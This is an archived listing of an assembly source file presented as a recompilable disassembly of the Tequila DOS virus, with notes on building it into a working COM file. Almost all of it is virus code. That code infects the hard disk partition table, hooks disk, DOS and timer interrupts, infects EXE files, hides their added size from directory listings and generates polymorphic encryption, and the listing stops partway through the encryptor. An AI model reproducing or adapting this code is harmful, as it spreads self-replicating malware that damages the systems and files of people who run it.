home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TEQUILA.ASM < prev    next >
Assembly Source File  |  1996-03-22  |  22KB  |  1,089 lines

  1.                    ;=============================
  2.                    ;      the tequila virus     =
  3.                    ;        a recompilable      =
  4.                    ;         dis-assembly       =
  5.                    ;    specifically designed   =
  6.                    ; for assembly to a COM file =
  7.                    ;  with the A86 assembler.   =
  8.                    ;     ++++++++++++++++++     =
  9.                    ; If you desire a "perfect"  =
  10.                    ; byte for byte source code  =
  11.                    ;match-up, the MASM assembler=
  12.                    ; must be used and the noted =
  13.                    ;instructions must be changed=
  14.                    ; to comply with MASM syntax.=
  15.                    ; In addition, all byte and  =
  16.                    ;word pointer references must=
  17.                    ; be changed from B and W to =
  18.                    ;   BYTE POINTER and WORD    =
  19.                    ;          POINTER.          =
  20.                    ;=============================
  21.  
  22.  
  23. CODE_SEG   SEGMENT
  24. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  25. ORG 0100
  26. TEQUILA PROC NEAR
  27.  
  28. JMP START
  29.  
  30.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  31.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  32.  
  33.   DB 00DH, 00AH, 00DH, 00AH
  34.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  35.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  36.   DB "Switzerland.", 00DH, 00AH
  37.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  38.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  39.   DB "$"
  40.  
  41.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  42.  
  43.  
  44. PROGRAM_TERMINATION_ROUTINE:
  45.    PUSH BP
  46.    MOV BP,SP
  47.    SUB SP,0CH
  48.    PUSH AX
  49.    PUSH BX
  50.    PUSH CX
  51.    PUSH DX
  52.    PUSH SI
  53.    PUSH DI
  54.    PUSH ES
  55.    PUSH DS
  56.    PUSH CS
  57.    POP DS
  58.    MOV AX,W[6]
  59.    INC AX
  60.    JE 0243H           ;Masm Mod. Needed
  61.    DEC AX
  62.    JNE 020DH           ;Masm Mod. Needed
  63.    DEC W[8]           ;Masm Mod. Needed
  64.    JNE 0243H           ;Masm Mod. Needed
  65.    JMP 0246H           ;Masm Mod. Needed
  66.    MOV AH,02AH
  67.    CALL INT_21
  68.    MOV SI,CX
  69.    MOV CX,W[8]
  70.    CMP CL,DL
  71.    JNE 022FH           ;Masm Mod. Needed
  72.    MOV AX,SI
  73.    SUB AX,W[6]
  74.    MUL B[011H]           ;Masm Mod. Needed
  75.    ADD AL,DH
  76.    ADD CH,3
  77.    CMP AL,CH
  78.    JAE 0237H           ;Masm Mod. Needed
  79.    MOV W[6],0FFFFH           ;Masm Mod. Needed
  80.    JMP 0243H           ;Masm Mod. Needed
  81.    MOV W[6],0           ;Masm Mod. Needed
  82.    MOV W[8],3           ;Masm Mod. Needed
  83.    JMP 02DF           ;Masm Mod. Needed
  84.    MOV BX,0B800H
  85.    INT 011
  86.    AND AX,030H
  87.    CMP AX,030H
  88.    JNE 0256H           ;Masm Mod. Needed
  89.    MOV BX,0B000H
  90.    MOV ES,BX
  91.    XOR BX,BX
  92.    MOV DI,0FD8FH
  93.    MOV SI,0FC18H
  94.    MOV W[BP-2],SI
  95.    MOV W[BP-4],DI
  96.    MOV CX,01E
  97.    MOV AX,W[BP-2]
  98.    IMUL AX
  99.    MOV W[BP-8],AX
  100.    MOV W[BP-6],DX
  101.    MOV AX,W[BP-4]
  102.    IMUL AX
  103.    MOV W[BP-0C],AX
  104.    MOV W[BP-0A],DX
  105.    ADD AX,W[BP-8]
  106.    ADC DX,W[BP-6]
  107.    CMP DX,0F
  108.    JAE 02B0           ;Masm Mod. Needed
  109.    MOV AX,W[BP-2]
  110.    IMUL W[BP-4]
  111.    IDIV W[0F]           ;Masm Mod. Needed
  112.    ADD AX,DI
  113.    MOV W[BP-4],AX
  114.    MOV AX,W[BP-8]
  115.    MOV DX,W[BP-6]
  116.    SUB AX,W[BP-0C]
  117.    SBB DX,W[BP-0A]
  118.    IDIV W[0D]           ;Masm Mod. Needed
  119.    ADD AX,SI
  120.    MOV W[BP-2],AX
  121.    LOOP 0269           ;Masm Mod. Needed
  122.    INC CX
  123.    SHR CL,1
  124.    MOV CH,CL
  125.    MOV CL,0DB
  126.    ES MOV W[BX],CX           ;Masm Mod. Needed
  127.    INC BX
  128.    INC BX
  129.    ADD SI,012
  130.    CMP SI,01B8
  131.    JL 0260           ;Masm Mod. Needed
  132.    ADD DI,034
  133.    CMP DI,02A3
  134.    JL 025D           ;Masm Mod. Needed
  135.    XOR DI,DI
  136.    MOV SI,0BB
  137.    MOV CX,02D
  138.    CLD
  139.    MOVSB
  140.    INC DI
  141.    LOOP 02D7           ;Masm Mod. Needed
  142.    XOR AX,AX
  143.    INT 016
  144.    POP DS
  145.    POP ES
  146.    POP DI
  147.    POP SI
  148.    POP DX
  149.    POP CX
  150.    POP BX
  151.    POP AX
  152.    MOV SP,BP
  153.    POP BP
  154.    RET
  155.  
  156. PRINT_MESSAGE:
  157.    PUSH DX
  158.    PUSH DS
  159.    PUSH CS
  160.    POP DS
  161.    MOV AH,9
  162.    MOV DX,012
  163.    CALL INT_21
  164.    POP DS
  165.    POP DX
  166.    RET
  167.  
  168. NEW_PARTITION_TABLE:
  169.    CLI
  170.    XOR BX,BX
  171.    MOV DS,BX
  172.    MOV SS,BX
  173.    MOV SP,07C00
  174.    STI
  175.    XOR DI,DI
  176.    SUB W[0413],3           ;Masm Mod. Needed
  177.    INT 012
  178.    MOV CL,6
  179.    SHL AX,CL
  180.    MOV ES,AX
  181.    PUSH ES
  182.    MOV AX,022A
  183.    PUSH AX
  184.    MOV AX,0205
  185.    MOV CX,W[07C30]
  186.    INC CX
  187.    MOV DX,W[07C32]
  188.    INT 013
  189.    RETF
  190.  
  191. DB 002, 0FE                      
  192. DB 04C, 0E9 
  193. DB 080, 004                
  194.  
  195.    PUSH CS
  196.    POP DS
  197.    XOR AX,AX
  198.    MOV ES,AX
  199.    MOV BX,07C00
  200.    PUSH ES
  201.    PUSH BX
  202.    MOV AX,0201
  203.    MOV CX,W[0226]
  204.    MOV DX,W[0228]
  205.    INT 013
  206.    PUSH CS
  207.    POP ES
  208.    CLD
  209.    MOV SI,0409
  210.    MOV DI,09BE
  211.    MOV CX,046
  212.    REP MOVSB
  213.    MOV SI,091B
  214.    MOV DI,0A04
  215.    MOV CX,045
  216.    REP MOVSB
  217.    CLI
  218.    XOR AX,AX
  219.    MOV ES,AX
  220.    ES LES BX,[070]           ;Masm Mod. Needed
  221.    MOV W[09B0],BX           ;Masm Mod. Needed
  222.    MOV W[09B2],ES           ;Masm Mod. Needed
  223.    MOV ES,AX
  224.    ES LES BX,[084]           ;Masm Mod. Needed
  225.    MOV W[09B4],BX           ;Masm Mod. Needed
  226.    MOV W[09B6],ES           ;Masm Mod. Needed
  227.    MOV ES,AX
  228.    ES MOV W[070],044F           ;Masm Mod. Needed
  229.    ES MOV W[072],DS           ;Masm Mod. Needed
  230.    STI
  231.    RETF
  232.  
  233. INSTALL:
  234.    CALL NEXT_LINE
  235.  NEXT_LINE:
  236.    POP SI
  237.    SUB SI,028F
  238.    PUSH SI
  239.    PUSH AX
  240.    PUSH ES
  241.    PUSH CS
  242.    POP DS
  243.    MOV AX,ES
  244.    ADD W[SI+2],AX
  245.    ADD W[SI+4],AX
  246.    DEC AX
  247.    MOV ES,AX
  248.    MOV AX,0FE02
  249.    INT 021
  250.    CMP AX,01FD
  251.    JE NO_PARTITION_INFECTION
  252.    ES CMP B[0],05A           ;Masm Mod. Needed
  253.    JNE NO_PARTITION_INFECTION
  254.    ES CMP W[3],0BB           ;Masm Mod. Needed
  255.    JBE NO_PARTITION_INFECTION
  256.    ES MOV AX,W[012]           ;Masm Mod. Needed
  257.    SUB AX,0BB
  258.    MOV ES,AX
  259.    XOR DI,DI
  260.    MOV CX,09A4
  261.    CLD
  262.    REP MOVSB
  263.    PUSH ES
  264.    POP DS
  265.    CALL INFECT_PARTITION_TABLE
  266.  NO_PARTITION_INFECTION:
  267.    POP ES
  268.    POP AX
  269.    PUSH ES
  270.    POP DS
  271.    POP SI
  272.    CS MOV SS,W[SI+4]           ;Masm Mod. Needed
  273.  CHAIN_TO_THE_HOST_FILE:
  274.    CS JMP D[SI]           ;Masm Mod. Needed
  275.  
  276. INFECT_PARTITION_TABLE:
  277.    MOV AH,02A
  278.    INT 021
  279.    MOV W[6],CX           ;Masm Mod. Needed
  280.    MOV W[8],DX           ;Masm Mod. Needed
  281.    MOV AH,052
  282.    INT 021
  283.    ES MOV AX,W[BX-2]           ;Masm Mod. Needed
  284.    MOV W[03E8],AX           ;Masm Mod. Needed
  285.    MOV AX,03513
  286.    INT 021
  287.    MOV W[09A0],BX           ;Masm Mod. Needed
  288.    MOV W[09A2],ES           ;Masm Mod. Needed
  289.    MOV AX,03501
  290.    INT 021
  291.    MOV SI,BX
  292.    MOV DI,ES
  293.    MOV AX,02501
  294.    MOV DX,03DA
  295.    INT 021
  296.    MOV B[0A],0           ;Masm Mod. Needed
  297.    PUSHF
  298.    POP AX
  299.    OR AX,0100
  300.    PUSH AX
  301.    POPF
  302.    MOV AX,0201
  303.    MOV BX,09A4
  304.    MOV CX,1
  305.    MOV DX,080
  306.    PUSH DS
  307.    POP ES
  308.    PUSHF
  309.    CALL D[09A0]           ;Masm Mod. Needed
  310.    PUSHF
  311.    POP AX
  312.    AND AX,0FEFF
  313.    PUSH AX
  314.    POPF
  315.    PUSHF
  316.    MOV AX,02501
  317.    MOV DX,SI
  318.    MOV DS,DI
  319.    INT 021
  320.    POPF
  321.    JAE 0450           ;Masm Mod. Needed
  322.    JMP RET           ;Masm Mod. Needed
  323.    PUSH ES
  324.    POP DS
  325.    CMP W[BX+02E],0FE02
  326.    JNE 045C           ;Masm Mod. Needed
  327.    JMP RET           ;Masm Mod. Needed
  328.    ADD BX,01BE
  329.    MOV CX,4
  330.    MOV AL,B[BX+4]
  331.    CMP AL,4
  332.    JE 0479           ;Masm Mod. Needed
  333.    CMP AL,6
  334.    JE 0479           ;Masm Mod. Needed
  335.    CMP AL,1
  336.    JE 0479           ;Masm Mod. Needed
  337.    ADD BX,010
  338.    LOOP 0463           ;Masm Mod. Needed
  339.    JMP SHORT RET           ;Masm Mod. Needed
  340.    MOV DL,080
  341.    MOV DH,B[BX+5]
  342.    MOV W[0228],DX           ;Masm Mod. Needed
  343.    MOV AX,W[BX+6]
  344.    MOV CX,AX
  345.    MOV SI,6
  346.    AND AX,03F
  347.    CMP AX,SI
  348.    JBE RET           ;Masm Mod. Needed
  349.    SUB CX,SI
  350.    MOV DI,BX
  351.    INC CX
  352.    MOV W[0226],CX           ;Masm Mod. Needed
  353.    MOV AX,0301
  354.    MOV BX,09A4
  355.    PUSHF
  356.    CALL D[09A0]           ;Masm Mod. Needed
  357.    JB RET           ;Masm Mod. Needed
  358.    DEC CX
  359.    MOV W[DI+6],CX
  360.    INC CX
  361.    SUB W[DI+0C],SI
  362.    SBB W[DI+0E],0
  363.    MOV AX,0305
  364.    MOV BX,0
  365.    INC CX
  366.    PUSHF
  367.    CALL D[09A0]           ;Masm Mod. Needed
  368.    JB RET           ;Masm Mod. Needed
  369.    MOV SI,01F6
  370.    MOV DI,09A4
  371.    MOV CX,034
  372.    CLD
  373.    REP MOVSB
  374.    MOV AX,0301
  375.    MOV BX,09A4
  376.    MOV CX,1
  377.    XOR DH,DH
  378.    PUSHF
  379.    CALL D[09A0]           ;Masm Mod. Needed
  380.    RET
  381.  
  382. NEW_INTERRUPT_ONE:
  383.    PUSH BP
  384.    MOV BP,SP
  385.    CS CMP B[0A],1           ;Masm Mod. Needed
  386.    JE 0506           ;Masm Mod. Needed
  387.    CMP W[BP+4],09B4
  388.    JA 050B           ;Masm Mod. Needed
  389.    PUSH AX
  390.    PUSH ES
  391.    LES AX,[BP+2]
  392.    CS MOV W[09A0],AX           ;Masm Mod. Needed
  393.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  394.    CS MOV B[0A],1
  395.    POP ES
  396.    POP AX
  397.    AND W[BP+6],0FEFF
  398.    POP BP
  399.    IRET
  400.  
  401. NEW_INTERRUPT_13:
  402.    CMP CX,1
  403.    JNE 054E           ;Masm Mod. Needed
  404.    CMP DX,080
  405.    JNE 054E           ;Masm Mod. Needed
  406.    CMP AH,3
  407.    JA 054E           ;Masm Mod. Needed
  408.    CMP AH,2
  409.    JB 054E           ;Masm Mod. Needed
  410.    PUSH CX
  411.    PUSH DX
  412.    DEC AL
  413.    JE 0537           ;Masm Mod. Needed
  414.    PUSH AX
  415.    PUSH BX
  416.    ADD BX,0200
  417.    INC CX
  418.    PUSHF
  419.    CS CALL D[09A0]           ;Masm Mod. Needed
  420.    POP BX
  421.    POP AX
  422.    MOV AL,1
  423.    CS MOV CX,W[0226]           ;Masm Mod. Needed
  424.    CS MOV DX,W[0228]           ;Masm Mod. Needed
  425.    PUSHF
  426.    CS CALL D[09A0]           ;Masm Mod. Needed
  427.    POP DX
  428.    POP CX
  429.    RETF 2
  430.    CS JMP D[09A0]           ;Masm Mod. Needed
  431.  
  432. NEW_TIMER_TICK_INTERRUPT:
  433.    PUSH AX
  434.    PUSH BX
  435.    PUSH ES
  436.    PUSH DS
  437.    XOR AX,AX
  438.    MOV ES,AX
  439.    PUSH CS
  440.    POP DS
  441.    ES LES BX,[084]           ;Masm Mod. Needed
  442.    MOV AX,ES
  443.    CMP AX,0800
  444.    JA 05B0           ;Masm Mod. Needed
  445.    CMP AX,W[09B6]
  446.    JNE 0575           ;Masm Mod. Needed
  447.    CMP BX,W[09B4]
  448.    JE 05B0           ;Masm Mod. Needed
  449.    MOV W[09B4],BX           ;Masm Mod. Needed
  450.    MOV W[09B6],ES           ;Masm Mod. Needed
  451.    XOR AX,AX
  452.    MOV DS,AX
  453.    CS LES BX,[09B0]           ;Masm Mod. Needed
  454.    MOV W[070],BX           ;Masm Mod. Needed
  455.    MOV W[072],ES           ;Masm Mod. Needed
  456.    LES BX,[04C]           ;Masm Mod. Needed
  457.    CS MOV W[09A0],BX           ;Masm Mod. Needed
  458.    CS MOV W[09A2],ES           ;Masm Mod. Needed
  459.    MOV W[04C],09BE           ;Masm Mod. Needed
  460.    MOV W[04E],CS           ;Masm Mod. Needed
  461.    MOV W[084],04B1           ;Masm Mod. Needed
  462.    MOV W[086],CS           ;Masm Mod. Needed
  463.    POP DS
  464.    POP ES
  465.    POP BX
  466.    POP AX
  467.    IRET
  468.  
  469. INT_21_INTERCEPT:
  470.    CMP AH,011
  471.    JB CHECK_FOR_HANDLE
  472.    CMP AH,012
  473.    JA CHECK_FOR_HANDLE
  474.    CALL ADJUST_FCB_MATCHES
  475.    RETF 2
  476.  CHECK_FOR_HANDLE:
  477.    CMP AH,04E
  478.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  479.    CMP AH,04F
  480.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  481.    CALL ADJUST_HANDLE_MATCHES
  482.    RETF 2
  483.  CHECK_FOR_PREVIOUS_INSTALLATION:
  484.    CMP AX,0FE02
  485.    JNE CHECK_FOR_MESSAGE_PRINT
  486.    NOT AX
  487.    IRET
  488.  CHECK_FOR_MESSAGE_PRINT:
  489.    CMP AX,0FE03
  490.    JNE CHECK_FOR_EXECUTE
  491.    CS CMP W[6],0           ;Masm Mod. Needed
  492.    JNE CHAIN_TO_TRUE_INT_21
  493.    CALL PRINT_MESSAGE
  494.    IRET
  495.  CHECK_FOR_EXECUTE:
  496.    CMP AX,04B00
  497.    JE SET_STACK
  498.    CMP AH,04C
  499.    JNE CHAIN_TO_TRUE_INT_21
  500.  SET_STACK:
  501.    CS MOV W[09A6],SP           ;Masm Mod. Needed
  502.    CS MOV W[09A8],SS           ;Masm Mod. Needed
  503.    CLI
  504.    PUSH CS
  505.    POP SS
  506.    MOV SP,0AE5
  507.    STI
  508.    CMP AH,04C
  509.    JNE TO_AN_INFECTION
  510.    CALL PROGRAM_TERMINATION_ROUTINE
  511.    JMP SHORT NO_INFECTION
  512.  TO_AN_INFECTION:
  513.    CALL INFECT_THE_FILE
  514.  NO_INFECTION:
  515.    CLI
  516.    CS MOV SS,W[09A8]           ;Masm Mod. Needed
  517.    CS MOV SP,W[09A6]           ;Masm Mod. Needed
  518.    STI
  519.    JMP SHORT CHAIN_TO_TRUE_INT_21
  520.  CHAIN_TO_TRUE_INT_21:
  521.    CS INC W[09BC]           ;Masm Mod. Needed
  522.    CS JMP D[09B4]           ;Masm Mod. Needed
  523.  
  524. NEW_CRITICAL_ERROR_HANDLER:
  525.    MOV AL,3
  526.    IRET
  527.  
  528. ADJUST_FCB_MATCHES:
  529.    PUSH BX
  530.    PUSH ES
  531.    PUSH AX
  532.    MOV AH,02F
  533.    CALL INT_21
  534.    POP AX
  535.    PUSHF
  536.    CS CALL D[09B4]           ;Masm Mod. Needed
  537.    PUSHF
  538.    PUSH AX
  539.    CMP AL,0FF
  540.    JE 0664           ;Masm Mod. Needed
  541.    ES CMP B[BX],0FF           ;Masm Mod. Needed
  542.    JNE 064F           ;Masm Mod. Needed
  543.    ADD BX,7
  544.    ES MOV AL,B[BX+017]           ;Masm Mod. Needed
  545.    AND AL,01F
  546.    CMP AL,01F
  547.    JNE 0664           ;Masm Mod. Needed
  548.    ES SUB W[BX+01D],09A4           ;Masm Mod. Needed
  549.    ES SBB W[BX+01F],0           ;Masm Mod. Needed
  550.    POP AX
  551.    POPF
  552.    POP ES
  553.    POP BX
  554.    RET
  555.  
  556. ADJUST_HANDLE_MATCHES:
  557.    PUSH BX
  558.    PUSH ES
  559.    PUSH AX
  560.    MOV AH,02F
  561.    CALL INT_21
  562.    POP AX
  563.    PUSHF
  564.    CS CALL D[09B4]           ;Masm Mod. Needed
  565.    PUSHF
  566.    PUSH AX
  567.    JB 0691           ;Masm Mod. Needed
  568.    ES MOV AL,B[BX+016]           ;Masm Mod. Needed
  569.    AND AL,01F
  570.    CMP AL,01F
  571.    JNE 0691           ;Masm Mod. Needed
  572.    ES SUB W[BX+01A],09A4           ;Masm Mod. Needed
  573.    ES SBB W[BX+01C],0           ;Masm Mod. Needed
  574.    POP AX
  575.    POPF
  576.    POP ES
  577.    POP BX
  578.    RET
  579.  
  580. WRITE_TO_THE_FILE:
  581.    MOV AH,040
  582.    JMP 069C           ;Masm Mod. Needed
  583.  
  584. READ_FROM_THE_FILE:
  585.    MOV AH,03F
  586.    CALL 06B4           ;Masm Mod. Needed
  587.    JB RET           ;Masm Mod. Needed
  588.    SUB AX,CX
  589.    RET
  590.  
  591. MOVE_TO_END_OF_FILE:
  592.    XOR CX,CX
  593.    XOR DX,DX
  594.    MOV AX,04202
  595.    JMP 06B4           ;Masm Mod. Needed
  596.  
  597. MOVE_TO_BEGINNING_OF_FILE:
  598.    XOR CX,CX
  599.    XOR DX,DX
  600.    MOV AX,04200
  601.    CS MOV BX,W[09A4]           ;Masm Mod. Needed
  602.  
  603. INT_21:
  604.    CLI
  605.    PUSHF
  606.    CS CALL D[09B4]           ;Masm Mod. Needed
  607.    RET
  608.  
  609. INFECT_THE_FILE:
  610.    PUSH AX
  611.    PUSH BX
  612.    PUSH CX
  613.    PUSH DX
  614.    PUSH SI
  615.    PUSH DI
  616.    PUSH ES
  617.    PUSH DS
  618.    CALL CHECK_LETTERS_IN_FILENAME
  619.    JAE GOOD_NAME
  620.    JMP BAD_NAME
  621.  
  622. GOOD_NAME:
  623.    PUSH DX
  624.    PUSH DS
  625.    PUSH CS
  626.    POP DS
  627.  
  628. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  629.    MOV AX,03524
  630.    CALL INT_21
  631.    MOV W[09B8],BX           ;Masm Mod. Needed
  632.    MOV W[09BA],ES           ;Masm Mod. Needed
  633.    MOV AX,02524
  634.    MOV DX,052A
  635.    CALL INT_21
  636.    POP DS
  637.    POP DX
  638.  
  639. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  640.    MOV AX,04300
  641.    CALL INT_21
  642.    CS MOV W[09AA],CX           ;Masm Mod. Needed
  643.    JAE 06FE           ;Masm Mod. Needed
  644.    JMP RESTORE_CRIT_HANDLER
  645.    MOV AX,04301
  646.    XOR CX,CX
  647.    CALL INT_21
  648.    JB 077C           ;Masm Mod. Needed
  649.  
  650. OPEN_FILE_FOR_READ_WRITE:
  651.    MOV AX,03D02
  652.    CALL INT_21
  653.    JB 0771           ;Masm Mod. Needed
  654.    PUSH DX
  655.    PUSH DS
  656.    PUSH CS
  657.    POP DS
  658.    MOV W[09A4],AX           ;Masm Mod. Needed
  659.  
  660. GET_FILEDATE:
  661.    MOV AX,05700
  662.    CALL 06B4           ;Masm Mod. Needed
  663.    JB 075C           ;Masm Mod. Needed
  664.    MOV W[09AC],DX           ;Masm Mod. Needed
  665.    MOV W[09AE],CX           ;Masm Mod. Needed
  666.  
  667. READ_AND_CHECK_EXE_HEADER:
  668.    CALL 06AD           ;Masm Mod. Needed
  669.    MOV DX,0A49
  670.    MOV CX,01C
  671.    CALL 069A           ;Masm Mod. Needed
  672.    JB 075C           ;Masm Mod. Needed
  673.    PUSH DS
  674.    POP ES
  675.    MOV DI,0E8
  676.    MOV CX,020
  677.    CMP W[0A49],05A4D           ;Masm Mod. Needed
  678.    JNE 075C           ;Masm Mod. Needed
  679.    MOV AX,W[0A5B]
  680.    CLD
  681.    REPNE SCASW
  682.    JNE 0754           ;Masm Mod. Needed
  683.    OR W[09AE],01F           ;Masm Mod. Needed
  684.    JMP 075C           ;Masm Mod. Needed
  685.    CALL READ_PAST_END_OF_FILE
  686.    JB 075C           ;Masm Mod. Needed
  687.    CALL ENCRYPT_AND_WRITE_TO_FILE
  688.  
  689. RESTORE_ALTERED_DATE:
  690.    MOV AX,05701
  691.    MOV DX,W[09AC]
  692.    MOV CX,W[09AE]
  693.    CALL 06B4           ;Masm Mod. Needed
  694.  
  695. CLOSE_THE_FILE:
  696.    MOV AH,03E
  697.    CALL 06B4           ;Masm Mod. Needed
  698.  
  699. RESTORE_FILE_ATTRIBUTE:
  700.    POP DS
  701.    POP DX
  702.    MOV AX,04301
  703.    CS MOV CX,W[09AA]           ;Masm Mod. Needed
  704.    CALL INT_21
  705.  
  706. RESTORE_CRIT_HANDLER:
  707.    MOV AX,02524
  708.    CS LDS DX,[09B8]           ;Masm Mod. Needed
  709.    CALL INT_21
  710.  
  711. BAD_NAME:
  712.    POP DS
  713.    POP ES
  714.    POP DI
  715.    POP SI
  716.    POP DX
  717.    POP CX
  718.    POP BX
  719.    POP AX
  720.    RET
  721.  
  722. CHECK_LETTERS_IN_FILENAME:
  723.    PUSH DS
  724.    POP ES
  725.    MOV DI,DX
  726.    MOV CX,-1
  727.    XOR AL,AL
  728.    CLD
  729.    REPNE SCASB
  730.    NOT CX
  731.    MOV DI,DX
  732.    MOV AX,04353
  733.    MOV SI,CX
  734.    SCASW
  735.    JE 07B7           ;Masm Mod. Needed
  736.    DEC DI
  737.    LOOP 07A5           ;Masm Mod. Needed
  738.    MOV CX,SI
  739.    MOV DI,DX
  740.    MOV AL,056
  741.    REPNE SCASB
  742.    JE 07B7           ;Masm Mod. Needed
  743.    CLC
  744.    RET
  745.    STC
  746.    RET
  747.  
  748. READ_PAST_END_OF_FILE:
  749.    MOV CX,-1
  750.    MOV DX,-0A
  751.    CALL 06A8           ;Masm Mod. Needed
  752.    MOV DX,0A65
  753.    MOV CX,8
  754.    CALL 069A           ;Masm Mod. Needed
  755.    JB RET           ;Masm Mod. Needed
  756.    CMP W[0A65],0FDF0           ;Masm Mod. Needed
  757.    JNE 07F0           ;Masm Mod. Needed
  758.    CMP W[0A67],0AAC5           ;Masm Mod. Needed
  759.    JNE 07F0           ;Masm Mod. Needed
  760.    MOV CX,-1
  761.    MOV DX,-9
  762.    CALL 06A8           ;Masm Mod. Needed
  763.    MOV DX,0A6B
  764.    MOV CX,4
  765.    CALL 0696           ;Masm Mod. Needed
  766.    RET
  767.    CLC
  768.    RET
  769.  
  770. ENCRYPT_AND_WRITE_TO_FILE:
  771.    CALL MOVE_TO_END_OF_FILE
  772.    MOV SI,AX
  773.    MOV DI,DX
  774.    MOV BX,0A49
  775.    MOV AX,W[BX+4]
  776.    MUL W[0D]           ;Masm Mod. Needed
  777.    SUB AX,SI
  778.    SBB DX,DI
  779.    JAE 080C           ;Masm Mod. Needed
  780.    JMP OUT_OF_ENCRYPT
  781.    MOV AX,W[BX+8]
  782.    MUL W[0B]           ;Masm Mod. Needed
  783.    SUB SI,AX
  784.    SBB DI,DX
  785.    MOV AX,W[BX+0E]
  786.    MOV W[4],AX           ;Masm Mod. Needed
  787.    ADD W[4],010           ;Masm Mod. Needed
  788.    MUL W[0B]           ;Masm Mod. Needed
  789.    ADD AX,W[BX+010]
  790.    SUB AX,SI
  791.    SBB DX,DI
  792.    JB 083C           ;Masm Mod. Needed
  793.    SUB AX,080
  794.    SBB DX,0
  795.    JB RET           ;Masm Mod. Needed
  796.    ADD W[BX+0E],09B
  797.    MOV AX,W[BX+016]
  798.    ADD AX,010
  799.    MOV W[2],AX           ;Masm Mod. Needed
  800.    MOV AX,W[BX+014]
  801.    MOV W[0],AX           ;Masm Mod. Needed
  802.    CALL 06A4           ;Masm Mod. Needed
  803.    ADD AX,09A4
  804.    ADC DX,0
  805.    DIV W[0D]           ;Masm Mod. Needed
  806.    INC AX
  807.    MOV W[0A4D],AX           ;Masm Mod. Needed
  808.    MOV W[0A4B],DX           ;Masm Mod. Needed
  809.    MOV DX,DI
  810.    MOV AX,SI
  811.    DIV W[0B]           ;Masm Mod. Needed
  812.    MOV W[0A5F],AX           ;Masm Mod. Needed
  813.    MOV BX,DX
  814.    ADD DX,0960
  815.    MOV W[0A5D],DX           ;Masm Mod. Needed
  816.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  817.    JB RET           ;Masm Mod. Needed
  818.    OR W[09AE],01F           ;Masm Mod. Needed
  819.    MOV BX,W[09BC]
  820.    AND BX,01F
  821.    SHL BX,1
  822.    MOV AX,W[BX+0E8]
  823.    MOV W[0A5B],AX           ;Masm Mod. Needed
  824.    CALL MOVE_TO_BEGINNING_OF_FILE
  825.    MOV CX,01C
  826.    MOV DX,0A49
  827.  
  828. WRITE_THE_NEW_HEADER:
  829.    CALL 0696           ;Masm Mod. Needed
  830.  OUT_OF_ENCRYPT:
  831.    RET
  832.  
  833. COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
  834.    PUSH BP
  835.    XOR AH,AH
  836.    INT 01A
  837.    MOV AX,DX
  838.    MOV BP,DX
  839.    PUSH DS
  840.    POP ES
  841.    MOV DI,0960
  842.    MOV SI,DI
  843.    MOV CX,020
  844.    CLD
  845.    REP STOSW
  846.    XOR DX,DX
  847.    MOV ES,DX
  848.    CALL ENCRYPT_STEP_ONE
  849.    CALL ENCRYPT_STEP_TWO
  850.    CALL ENCRYPT_STEP_THREE
  851.    MOV B[SI],0E9
  852.    MOV DI,028C
  853.    SUB DI,SI
  854.    SUB DI,3
  855.    INC SI
  856.    MOV W[SI],DI
  857.    MOV AX,0A04
  858.    CALL AX
  859.    POP BP
  860.    RET
  861.  
  862. ENCRYPT_STEP_ONE:
  863.    DEC BP
  864.    ES TEST B[BP],2           ;Masm Mod. Needed
  865.    JNE 08EB           ;Masm Mod. Needed
  866.    MOV B[SI],0E
  867.    INC SI
  868.    CALL GARBLER
  869.    MOV B[SI],01F
  870.    INC SI
  871.    CALL GARBLER
  872.    RET
  873.    MOV W[SI],0CB8C
  874.    INC SI
  875.    INC SI
  876.    CALL GARBLER
  877.    MOV W[SI],0DB8E
  878.    INC SI
  879.    INC SI
  880.    CALL GARBLER
  881.    RET
  882.  
  883. ENCRYPT_STEP_TWO:
  884.    AND CH,0FE
  885.    DEC BP
  886.    ES TEST B[BP],2           ;Masm Mod. Needed
  887.    JE 0920           ;Masm Mod. Needed
  888.    OR CH,1
  889.    MOV B[SI],0BE
  890.    INC SI
  891.    MOV W[SI],BX
  892.    INC SI
  893.    INC SI
  894.    CALL GARBLER
  895.    ADD BX,0960
  896.    TEST CH,1
  897.    JE 0934           ;Masm Mod. Needed
  898.    MOV B[SI],0BB
  899.    INC SI
  900.    MOV W[SI],BX
  901.    INC SI
  902.    INC SI
  903.    CALL GARBLER
  904.    ADD BX,0960
  905.    TEST CH,1
  906.    JE 090C           ;Masm Mod. Needed
  907.    SUB BX,0960
  908.    CALL GARBLER
  909.    MOV B[SI],0B9
  910.    INC SI
  911.    MOV AX,0960
  912.    MOV W[SI],AX
  913.    INC SI
  914.    INC SI
  915.    CALL GARBLER
  916.    CALL GARBLER
  917.    RET
  918.  
  919. ENCRYPT_STEP_THREE:
  920.    MOV AH,014
  921.    MOV DH,017
  922.    TEST CH,1
  923.    JE 0958           ;Masm Mod. Needed
  924.    XCHG DH,AH
  925.    MOV DI,SI
  926.    MOV AL,08A
  927.    MOV W[SI],AX
  928.    INC SI
  929.    INC SI
  930.    CALL GARBLER
  931.    XOR DL,DL
  932.    MOV B[0A39],028           ;Masm Mod. Needed
  933.    DEC BP
  934.    ES TEST B[BP],2           ;Masm Mod. Needed
  935.    JE 0978           ;Masm Mod. Needed
  936.    MOV DL,030
  937.    MOV B[0A39],DL           ;Masm Mod. Needed
  938.    MOV W[SI],DX
  939.    INC SI
  940.    INC SI
  941.    MOV W[SI],04346
  942.    INC SI
  943.    INC SI
  944.    CALL GARBLER
